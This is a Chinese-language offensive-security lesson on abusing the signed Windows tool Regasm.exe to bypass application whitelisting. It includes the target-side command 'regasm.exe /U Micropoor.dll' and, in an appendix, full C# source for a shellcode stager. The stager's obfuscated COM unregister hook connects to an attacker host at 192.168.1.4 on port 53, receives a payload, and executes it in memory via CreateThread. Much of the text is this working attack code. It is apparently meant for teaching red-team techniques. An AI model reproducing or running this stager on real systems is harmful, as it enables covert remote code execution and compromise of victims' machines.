Regasm简介：

Regasm 为程序集注册工具，读取程序集中的元数据，并将所需的项添加到注册表中。RegAsm.exe是Microsoft Corporation开发的合法文件进程。它与Microsoft.NET Assembly Registration Utility相关联。

说明：Regasm.exe所在路径没有被系统添加PATH环境变量中，因此，REGASM命令无法识别。

具体参考微软官方文档：
https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool

基于白名单Regasm.exe配置payload：

Windows 7 默认位置：

  1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe

攻击机：192.168.1.4 Debian
靶机：192.168.1.3 Windows 7

配置攻击机msf：

第七十三课：基于白名单Regasm.exe执行payload第三季 - 图1

靶机执行：

  1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U Micropoor.dll

第七十三课：基于白名单Regasm.exe执行payload第三季 - 图2

附录：Micropoor.cs

注：x86 payload

  1. using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; using System.EnterpriseServices; using System.Windows.Forms;
  3. namespace HYlDKsYF
  5. {
  7. public class kxKhdVzWQXolmmF : ServicedComponent { 
  9. public kxKhdVzWQXolmmF() { Console.WriteLine("doge"); } 
  11. [ComRegisterFunction]
  13. public static void RegisterClass ( string pNNHrTZzW )
  15. {
  17. ZApOAKJKY.QYJOTklTwn();
  19. } 
  21. [ComUnregisterFunction]
  23. public static void UnRegisterClass ( string pNNHrTZzW )
  25. {
  27. ZApOAKJKY.QYJOTklTwn();
  29. }
  31. } 
  33. public class ZApOAKJKY
  35. { [DllImport("kernel32")] private static extern UInt32 HeapCreate(UInt32 FJyyNB, UInt32 fwtsYaiizj, UInt32 dHJhaXQiaqW);
  37. [DllImport("kernel32")] private static extern UInt32 HeapAlloc(UInt32 bqtaDNfVCzVox, UInt32 hjDFdZuT, UInt32 JAVAYBFdojxsgo);
  39. [DllImport("kernel32")] private static extern UInt32 RtlMoveMemory(UInt32 AQdEyOhn, byte[] wknmfaRmoElGo, UInt32 yRXPRezIkcorSOo);
  41. [DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 uQgiOlrrBaR, UInt32 BxkWKqEKnp, UInt32 lelfRubuprxr, IntPtr qPzVKjdiF, UInt32 kNXJcS, ref UInt32 atiLJcRPnhfyGvp);
  43. [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr XSjyzoKzGmuIOcD, UInt32 VumUGj);static byte[] HMSjEXjuIzkkmo(string aCWWUttzmy, int iJGvqiEDGLhjr) {
  45. IPEndPoint YUXVAnzAurxH = new IPEndPoint(IPAddress.Parse(aCWWUttzmy), iJGvqiEDGLhjr);
  47. Socket MXCEuiuRIWgOYze = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  49. try { MXCEuiuRIWgOYze.Connect(YUXVAnzAurxH); }
  51. catch { return null;}
  53. byte[] Bjpvhc = new byte[4];
  55. MXCEuiuRIWgOYze.Receive(Bjpvhc, 4, 0);
  57. int IETFBI = BitConverter.ToInt32(Bjpvhc, 0);
  59. byte[] ZKSAAFwxgSDnTW = new byte[IETFBI + 5];
  61. int JFPJLlk = 0;
  63. while (JFPJLlk < IETFBI)
  65. { JFPJLlk += MXCEuiuRIWgOYze.Receive(ZKSAAFwxgSDnTW, JFPJLlk + 5, (IETFBI ‐ JFPJLlk) < 4096 ? (IETFBI ‐ JFPJLlk) : 4096, 0);}
  67. byte[] nXRztzNVwPavq = BitConverter.GetBytes((int)MXCEuiuRIWgOYze.Handle);
  69. Array.Copy(nXRztzNVwPavq, 0, ZKSAAFwxgSDnTW, 1, 4); ZKSAAFwxgSDnTW[0] = 0xBF;
  71. return ZKSAAFwxgSDnTW;}
  73. static void TOdKEwPYRUgJly(byte[] KNCtlJWAmlqJ) {
  75. if (KNCtlJWAmlqJ != null) {
  77. UInt32 uuKxFZFwog = HeapCreate(0x00040000, (UInt32)KNCtlJWAmlqJ.Lengt h, 0);
  79. UInt32 sDPjIMhJIOAlwn = HeapAlloc(uuKxFZFwog, 0x00000008, (UInt32)KNCtlJWAmlqJ.Length);
  81. RtlMoveMemory(sDPjIMhJIOAlwn, KNCtlJWAmlqJ, (UInt32)KNCtlJWAmlqJ.Length);
  83. UInt32 ijifOEfllRl = 0;
  85. IntPtr ihXuoEirmz = CreateThread(0, 0, sDPjIMhJIOAlwn, IntPtr.Zero, 0, ref ijifOEfllRl);
  87. WaitForSingleObject(ihXuoEirmz, 0xFFFFFFFF);}} 
  89. public static void QYJOTklTwn() {
  91. byte[] ZKSAAFwxgSDnTW = null; ZKSAAFwxgSDnTW = HMSjEXjuIzkkmo("192.168.1.4", 53);
  93. TOdKEwPYRUgJly(ZKSAAFwxgSDnTW);
  95. } } }

Micropoor